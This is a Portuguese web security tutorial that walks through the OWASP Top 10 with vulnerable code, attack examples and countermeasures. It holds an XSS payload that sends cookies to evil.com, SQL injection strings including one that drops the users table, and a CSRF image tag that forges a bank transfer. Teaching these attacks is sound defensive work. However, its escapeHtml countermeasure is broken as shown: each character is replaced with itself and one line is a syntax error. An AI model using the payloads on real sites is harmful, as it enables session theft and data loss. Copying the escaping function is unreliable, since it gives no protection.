O que e OWASP Top 10
E um ranking dos riscos de seguranca mais graves para aplicacoes web, publicado pela OWASP (Open Web Application Security Project).
Top 10 (versao mais recente de 2021):
- Falha de Controle de Acesso
- Falha de Criptografia
- Injecao
- Design Inseguro
- Configuracao de Seguranca Incorreta
- Componentes Vulneraveis
- Falha de Autenticacao
- Problemas de Integridade de Software e Dados
- Falha de Log e Monitoramento de Seguranca
- Server-Side Request Forgery (SSRF)
XSS (Cross-Site Scripting)
E um ataque que injeta scripts maliciosos em paginas web.
Exemplo de Ataque
<!-- Codigo vulneravel -->
<p>Resultado da busca: <?php echo $_GET['query']; ?></p>
<!-- Ataque -->
/search?query=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
Contramedidas
// 1. Escape na saida
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// 2. Usar escape automatico do template engine
// React: Faz escape por padrao
<p>Resultado da busca: {userInput}</p>
// 3. Content Security Policy
// Cabecalho HTTP
Content-Security-Policy: default-src 'self'; script-src 'self'
Tipos de XSS
| Tipo | Descricao |
|---|---|
| Refletido | Reflete imediatamente parametros de URL, etc. |
| Armazenado | Salvo no DB e executado quando exibido |
| Baseado em DOM | Ocorre no JS do lado do cliente |
SQL Injection
E um ataque que injeta SQL malicioso em consultas.
Exemplo de Ataque
-- Codigo vulneravel
SELECT * FROM users WHERE id = '$userId'
-- Ataque: userId = "1' OR '1'='1"
SELECT * FROM users WHERE id = '1' OR '1'='1'
-- → Todos os usuarios sao obtidos
-- Ataque ainda mais perigoso: userId = "1'; DROP TABLE users; --"
Contramedidas
// 1. Prepared Statement (consulta parametrizada)
// Exemplo ruim
const query = `SELECT * FROM users WHERE id = '${userId}'`;
// Exemplo bom
const query = 'SELECT * FROM users WHERE id = ?';
db.query(query, [userId]);
// 2. Uso de ORM
// Prisma
const user = await prisma.user.findUnique({
where: { id: userId }
});
// 3. Validacao de valores de entrada
if (!Number.isInteger(parseInt(userId))) {
throw new Error('Invalid user ID');
}
CSRF (Cross-Site Request Forgery)
E um ataque que faz o usuario enviar requisicoes nao intencionadas.
Exemplo de Ataque
<!-- Site do atacante -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
<!-- Se o usuario estiver logado em bank.com, o Cookie e enviado e a transferencia e executada -->
Contramedidas
// 1. Token CSRF
// Servidor: Gerar token e salvar na sessao
const csrfToken = crypto.randomBytes(32).toString('hex');
req.session.csrfToken = csrfToken;
// Incorporar token no formulario
<input type="hidden" name="_csrf" value="{{csrfToken}}" />
// Verificacao
if (req.body._csrf !== req.session.csrfToken) {
throw new Error('CSRF token mismatch');
}
// 2. SameSite Cookie
Set-Cookie: session=abc123; SameSite=Strict; HttpOnly; Secure
// 3. Verificacao de cabecalho customizado (AJAX)
// Requisicoes cross-origin nao podem enviar cabecalhos customizados
X-Requested-With: XMLHttpRequest
Falha de Autenticacao
Gerenciamento de Senha Vulneravel
// Exemplo ruim
const hash = md5(password); // MD5 e vulneravel
// Exemplo bom
const hash = await bcrypt.hash(password, 12);
Gerenciamento de Sessao
// Regenerar ID de sessao apos login
req.session.regenerate((err) => {
req.session.userId = user.id;
});
// Prevenir ataque de fixacao de sessao
Autenticacao Multi-Fator (MFA)
1o Fator: Senha (conhecimento)
2o Fator: Senha de uso unico (posse)
3o Fator: Autenticacao biometrica (biometria)
Falha de Controle de Acesso
IDOR (Insecure Direct Object Reference)
// Codigo vulneravel
app.get('/api/users/:id/profile', async (req, res) => {
const user = await db.users.findById(req.params.id);
res.json(user); // Qualquer pessoa pode acessar
});
// Contramedida: Verificacao de autorizacao
app.get('/api/users/:id/profile', async (req, res) => {
if (req.user.id !== req.params.id && !req.user.isAdmin) {
return res.status(403).json({ error: 'Forbidden' });
}
const user = await db.users.findById(req.params.id);
res.json(user);
});
Escalacao de Privilegio Horizontal e Vertical
Escalacao de privilegio horizontal: Acessar dados de outros usuarios
Usuario A → Dados do Usuario B
Escalacao de privilegio vertical: Acessar funcionalidades de nivel superior
Usuario comum → Funcionalidades de administrador
Cabecalhos de Seguranca
# Exemplo de configuracao Nginx
add_header X-Content-Type-Options "nosniff";
add_header X-Frame-Options "DENY";
add_header X-XSS-Protection "1; mode=block";
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains";
add_header Content-Security-Policy "default-src 'self'";
add_header Referrer-Policy "strict-origin-when-cross-origin";
| Cabecalho | Proposito |
|---|---|
| Content-Security-Policy | Protecao XSS, restricao de recursos |
| X-Frame-Options | Prevencao de clickjacking |
| X-Content-Type-Options | Prevencao de MIME sniffing |
| Strict-Transport-Security | Forcar HTTPS |
| Referrer-Policy | Controle de informacao de referrer |
Validacao de Valores de Entrada
// Validacao no servidor (obrigatoria)
const schema = z.object({
email: z.string().email(),
age: z.number().min(0).max(150),
username: z.string().min(3).max(20).regex(/^[a-zA-Z0-9_]+$/),
});
const result = schema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({ errors: result.error.issues });
}
Checklist de Seguranca
□ Validar todas as entradas no servidor
□ Processar escape na saida
□ Usar consulta parametrizada
□ Implementar token CSRF
□ Hash adequado de senhas
□ Forcar HTTPS
□ Configurar cabecalhos de seguranca
□ Implementar verificacao de autorizacao
□ Nao vazar informacoes sensiveis em mensagens de erro
□ Verificar vulnerabilidades de pacotes dependentes
□ Registrar logs de seguranca
Resumo
Seguranca web e um elemento importante que deve ser considerado desde os estagios iniciais do desenvolvimento. Consultando o OWASP Top 10, entenda as principais vulnerabilidades e contramedidas, e construa aplicacoes seguras. Seguranca nao e algo que se configura uma vez e termina, mas requer monitoramento e atualizacao continua.
← Voltar para a lista